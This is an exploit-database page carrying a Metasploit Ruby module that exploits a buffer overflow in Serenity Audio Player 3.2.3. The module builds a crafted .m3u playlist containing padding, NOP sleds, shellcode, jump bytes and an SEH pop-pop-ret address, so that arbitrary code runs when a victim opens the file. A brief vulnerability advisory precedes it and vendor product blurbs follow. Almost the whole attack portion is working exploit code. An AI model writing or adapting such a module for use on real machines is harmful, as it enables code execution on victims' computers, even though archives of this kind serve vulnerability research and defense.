Lucene search
K

Serenity Audio Player 3.2.3 - '.m3u' Remote Buffer Overflow (Metasploit)

🗓️ 26 Apr 2010 00:00:00Reported by blakeType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 15 Views

Serenity Audio Player 3.2.3 buffer-overflow vulnerabilit

Code
source: https://www.securityfocus.com/bid/39768/info
 
Serenity Audio Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
 
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
 
Serenity Audio Player 3.2.3 is vulnerable; other versions may also be affected. 

# Exploit Title: Serenity Audio Player Buffer Overflow (Meta)
# Date: April 26, 2010
# Author: Blake
# Version: 3.2.3
# Tested on: Windows XP SP3

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Serenity Audio Player Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a buffer overflow in Serenity Audio
Player versions 3.2.3 and below.
            By creating a specially crafted m3u file, an an attacker may be
able to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' =>
                [
                    'Blake',
                ],
            'Version' => '$Revision: 1 $',
            'References' =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/10226' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload' =>
                {
                    'Space' => 972,
                    'BadChars' => "\x00\x0a\x0d\x20\x0b\x1a",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x00402593} ], # pop
edi; pop esi; ret - serenity.exe
                ],
            'Privileged' => false,
            'DisclosureDate' => 'Nov 11 2009',
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file
name.','exploit.m3u']),
            ], self.class)
    end


    def exploit

        sploit = "http://"                    # header
        sploit << rand_text_alphanumeric(972 - payload.encoded.length)
        sploit << make_nops(10)                # nop sled 1
        sploit << payload.encoded            # shellcode
        sploit << make_nops(10)                # nop sled 2
        sploit << "\xe9\x4a\xfc\xff\xff"    # near jump -950
        sploit << "\xeb\xf9\x90\x90"        # short jump
        sploit << [target.ret].pack('V')    # p/p/r

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation